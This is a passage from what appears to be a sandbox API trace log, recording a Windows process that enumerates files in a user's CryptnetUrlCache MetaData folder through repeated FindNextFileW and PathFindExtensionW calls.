cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0113.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0113.997] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0113.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0113.997] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0113.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0113.998] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0113.998] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0113.998] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0113.998] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD") returned="" [0113.998] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0113.998] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0113.998] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0113.998] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0113.998] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0113.998] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0113.998] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd48e2bf0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0113.998] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0113.998] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0113.998] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0113.998] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0114.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0114.011] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0114.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0114.011] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0114.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0114.011] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x611ea800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x611ea800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0114.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0114.011] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0114.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0114.011] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0114.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0114.011] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5836df00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5836df00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0114.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0114.011] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0114.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0114.011] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0114.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0114.012] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0114.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0114.012] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0114.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0114.012] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0114.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0114.012] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0114.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0114.012] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0114.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0114.012] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0114.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0114.012] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x196, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0114.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0114.012] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbf0dd70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0114.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015") returned="" [0114.012] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0114.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0114.012] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0114.013] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0114.013] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0114.013] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0114.013] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0114.013] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS 